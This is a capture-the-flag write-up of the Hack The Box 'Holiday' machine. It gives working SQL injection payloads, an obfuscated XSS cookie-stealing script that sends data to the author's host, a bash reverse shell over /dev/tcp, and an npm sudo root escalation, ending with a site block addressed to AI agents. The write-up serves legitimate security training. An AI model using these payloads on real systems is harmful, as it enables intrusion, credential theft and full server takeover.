# Holiday

<figure><img src="/files/j7fgMSKQrnJda3GbJUai" alt=""><figcaption></figcaption></figure>

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.25 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.93 scan initiated Sat May 13 08:12:57 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.25
Nmap scan report for 10.10.10.25
Host is up (0.051s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
8000/tcp open  http-alt

# Nmap done at Sat May 13 08:13:12 2023 -- 1 IP address (1 host up) scanned in 14.82 seconds
```

{% endcode %}

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

> nmap -sC -sV -p22,8000 10.10.10.25 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the *targeted* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.93 scan initiated Sat May 13 08:30:58 2023 as: nmap -sCV -p22,8000 -Pn -n -oN targeted 10.10.10.25
Nmap scan report for 10.10.10.25
Host is up (0.034s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c3aa3dbd0e0146c96b4673f3d1bacef2 (RSA)
|   256 b567f5eb8d11e90fddf452259fb12f23 (ECDSA)
|_  256 79e97896c5a8f4028390583fe58dfa98 (ED25519)
8000/tcp open  http    Node.js Express framework
|_http-title: Error
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat May 13 08:31:12 2023 -- 1 IP address (1 host up) scanned in 13.52 seconds
```

{% endcode %}

The website shows a simple image.

<figure><img src="/files/7Lm9sx3kD3GhfTWnI7gC" alt=""><figcaption></figcaption></figure>

Let's use *dirsearch* to enumerate subdirectories.

> dirsearch -u <http://10.10.10.25:8000/>

{% code overflow="wrap" %}

```
  _|. _ _  _  _  _ _|_    v0.4.2
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/10.10.10.25-8000/-_23-05-13_08-33-54.txt

Error Log: /root/.dirsearch/logs/errors-23-05-13_08-33-54.log

Target: http://10.10.10.25:8000/

[08:33:54] Starting: 
[08:33:55] 301 -  163B  - /js  ->  /js/                                    
[08:34:02] 302 -   28B  - /ADMIN  ->  /login                                
[08:34:03] 302 -   28B  - /Admin  ->  /login                                
[08:34:09] 302 -   28B  - /admin  ->  /login                                
[08:34:10] 302 -   28B  - /admin/?/login  ->  /login                        
[08:34:10] 302 -   28B  - /admin/  ->  /login                               
[08:34:20] 301 -  165B  - /css  ->  /css/                                   
[08:34:25] 301 -  165B  - /img  ->  /img/                                   
[08:34:27] 200 -    1KB - /login                                            
[08:34:27] 200 -    1KB - /login/                                           
[08:34:28] 302 -   28B  - /logout  ->  /login                               
[08:34:28] 302 -   28B  - /logout/  ->  /login                              
                                                                             
Task Completed 
```

{% endcode %}

There is one login page.

<figure><img src="/files/ZqXA0DUMzpOrqg2ib9N1" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

Try to log in with the username and password `test`, and intercept the request with *BurpSuite*.

<figure><img src="/files/PgXk1EgM2608titA7Mwn" alt=""><figcaption></figcaption></figure>

It looks like the site is vulnerable to SQL injection attacks, because if we add the `"` character to the username, the site will crash.

<figure><img src="/files/EOSCjpR9nz45zjoAQNIE" alt=""><figcaption></figcaption></figure>

As we can see, it is an *SQLite 3.15.0* database.

> username=<mark style="color:red;">admin")) union select 1,sqlite\_version(),3,4-- -</mark>\&password=test

<figure><img src="/files/WxexAu6FZ0erhHcQ0Xq1" alt=""><figcaption></figcaption></figure>

The database has four tables.

> username=<mark style="color:red;">admin")) union select 1,group\_concat(tbl\_name),3,4 FROM sqlite\_master WHERE type='table' and tbl\_name NOT like 'sqlite\_%'-- -</mark>\&password=test

<figure><img src="/files/bMYY14btp9TZ74YzGKzJ" alt=""><figcaption></figcaption></figure>

The users table has one column called `username` and another one called `password`.

> username=<mark style="color:red;">admin")) union select 1,group\_concat(sql),3,4 FROM sqlite\_master WHERE type!='meta' AND sql NOT NULL AND name ='users'-- -</mark>\&password=test

<figure><img src="/files/VZpy5Zl5Hq8EvDE8Ce2f" alt=""><figcaption></figcaption></figure>

There is one user called `RickA`.

> username=<mark style="color:red;">admin")) union select 1,group\_concat(username),3,4 FROM users-- -</mark>\&password=test

<figure><img src="/files/V4oXirGJrf54X6m4B85S" alt=""><figcaption></figcaption></figure>

We can get his password hash.

> username=<mark style="color:red;">admin")) union select 1,group\_concat(password),3,4 FROM users-- -</mark>\&password=test

<figure><img src="/files/SACIbsq8e6isOqcljuUG" alt=""><figcaption></figcaption></figure>

We can get the password from the hash using *crackstation*.

<figure><img src="/files/fmvhX5YsRbE0qLDTQc2b" alt=""><figcaption></figcaption></figure>

Using the found credentials, we'll be able to access the site and see a list of bookings.

<figure><img src="/files/jEmIbmlgnQr7IhGrwdGN" alt=""><figcaption></figcaption></figure>

Each booking has `Notes` section where we can submit notes that an administrator will approve.

<figure><img src="/files/BLWFP6noKijgdNOhnNKg" alt=""><figcaption></figcaption></figure>

Let's try to add an `img` HTML tag with a python server as the source.

> python -m http.server 80

<figure><img src="/files/3swmbPawSEumuovmvev2" alt=""><figcaption></figcaption></figure>

After a minute we'll see a request in our HTTP server, which means that the site is vulnerable to XSS.

```
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.25 - - [15/May/2023 15:17:07] code 404, message File not found
10.10.10.25 - - [15/May/2023 15:17:07] "GET /test.jpg HTTP/1.1" 404 -
```

We need to find a way to steal the administrator cookies. If we inject a simple payload such as the following, we'll see that it gets encoded.

> \<script>alert('XSS')\</script>

<figure><img src="/files/uD73QichSfxApqbRuu4Q" alt=""><figcaption></figcaption></figure>

I found a way to bypass this restriction. First, create the `pwn.js` file with the following code.

> nano pwn.js

{% code overflow="wrap" %}

```javascript
var request = new XMLHttpRequest();
request.open("GET", "http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65", false);
request.send();

var response = request.responseText;

var request2 = new XMLHttpRequest();
request2.open('POST', "http://10.10.14.8:8000/test", true);
request2.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

var params = encodeURIComponent(response);
request2.send(params);
```

{% endcode %}

Then, set a netcat listener on port *8000*.

> nc -lvnp 8000

Now, we need to submit a payload which will be encoded by the `encoder.py` script.

> nano encoder.py

{% code overflow="wrap" %}

```python
payload = """document.write('<script src="http://10.10.14.8/pwn.js"></script>');"""

enc_payload = ""

for char in payload:
        enc_payload = enc_payload + str(ord(char)) + ","

final_payload = """<img src="test><script>eval(String.fromCharCode(""" + enc_payload[:-1] + """));</script>">"""
print(final_payload)
```

{% endcode %}

Run the python script to get the final payload.

> python encoder.py

{% code overflow="wrap" %}

```html
<img src="test><script>eval(String.fromCharCode(100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,58,47,47,49,48,46,49,48,46,49,52,46,56,47,112,119,110,46,106,115,34,62,60,47,115,99,114,105,112,116,62,39,41,59));</script>">
```

{% endcode %}

Submit the payload as a note.

<figure><img src="/files/44w7oyfnz1S2WiCwk7eD" alt=""><figcaption></figcaption></figure>

On port 8000 we'll get the content of the booking seen as the administrator.

{% code overflow="wrap" %}

```
Listening on 0.0.0.0 8000
Connection received on 10.10.10.25 52926
POST /test HTTP/1.1
Referer: http://localhost:8000/vac/8dd841ff-3f44-4f2b-9324-9a833e2c6b65
Origin: http://localhost:8000
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
Content-Length: 22359
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,*
Host: 10.10.14.8:8000

%3C!DOCTYPE%20html...
```

{% endcode %}

Using a URL decoder, we'll see the administrator cookie.

<figure><img src="/files/NwvouKgb8IIYBux7zIW9" alt=""><figcaption></figcaption></figure>

By changing our cookie to the administrator one, we'll see one more section called `Admin`.

<figure><img src="/files/vcEMwNNGd7hpnJG8sKLt" alt=""><figcaption></figcaption></figure>

There was one directory called `/admin`, let's check it out.

<figure><img src="/files/HCbjk9xh9lipZYkAd2qh" alt=""><figcaption></figcaption></figure>

Click on `Bookings`, and intercept the request with *BurpSuite*.

<figure><img src="/files/BEMX5VRziCiTumglNYoS" alt=""><figcaption></figcaption></figure>

If we try to inject a `"` character, we'll see that there is a whitelist of characters allowed.

<figure><img src="/files/W5HGj0gJhgJlOG345JIy" alt=""><figcaption></figcaption></figure>

One of the characters is `&`. If we URL encode it and inject a command after it, we'll see that the command gets executed.

<figure><img src="/files/ofRRCBLqDTkKzZCIb2Ei" alt=""><figcaption></figcaption></figure>

Time to get a shell. First, let's set a *netcat* listener on port *4444*.

> rlwrap nc -lvnp 4444

* `-l` **listen** mode.
* `-v` **verbose** mode.
* `-n` **numeric-only** IP, no DNS resolution.
* `-p` specify the **port** to listen on.

There is one problem. We can not send the reverse shell directly from the request because we can not specify an IP address because the `.` character is not allowed. But we could specify the IP address in hexadecimal. Use python to get the hexadecimal values.

> python

```
Python 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> hex(10)
'0xa'
>>> hex(10)
'0xa'
>>> hex(14)
'0xe'
>>> hex(8)
'0x8'
```

The final string will be `0x0a0a0e08`. Now, create the following file where the HTTP server is located.

> nano shell

```bash
#!/bin/bash
bash -i  >& /dev/tcp/10.10.14.8/4444 0>&1
```

Now, download the file from the server.

<figure><img src="/files/EParNfUzcTaREMTcvhpL" alt=""><figcaption></figcaption></figure>

Finally, run the script to get access to the server as `algernon`. Then we'll be able to grab the user flag.

<figure><img src="/files/2u0wmef3irmBg38EWvZf" alt=""><figcaption></figcaption></figure>

```
Listening on 0.0.0.0 4444
Connection received on 10.10.10.25 39904
bash: cannot set terminal process group (1138): Inappropriate ioctl for device
bash: no job control in this shell
algernon@holiday:~/app$ whoami
whoami
algernon
algernon@holiday:~/app$ cat /home/algernon/user.txt
cat /home/algernon/user.txt
8c39415193e0a71a1e3bd49a0843563e
```

## Privilege Escalation

If we check the sudo permissions, we'll see that we can run *npm* as root.

> sudo -l

{% code overflow="wrap" %}

```
Matching Defaults entries for algernon on holiday:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User algernon may run the following commands on holiday:
    (ALL) NOPASSWD: /usr/bin/npm i *
```

{% endcode %}

There is one way to get a shell as root with this permission. First, run these two commands.

> TF=$(mktemp -d)
>
> echo '{"scripts": {"preinstall": "/bin/sh"}}' > $TF/package.json

Finally, run *npm* with root permissions, and then all we have to do is reap the harvest and take the root flag.

> sudo /usr/bin/npm i -C $TF --unsafe-perm

```
> undefined preinstall /tmp/tmp.Gajm68Sb1I
> /bin/sh

whoami
root
cat /root/root.txt
d6c7782e8e1bca9e508c1c5015ba829a
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alfa8sa.gitbook.io/htb-writeups/linux-machines/holiday.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
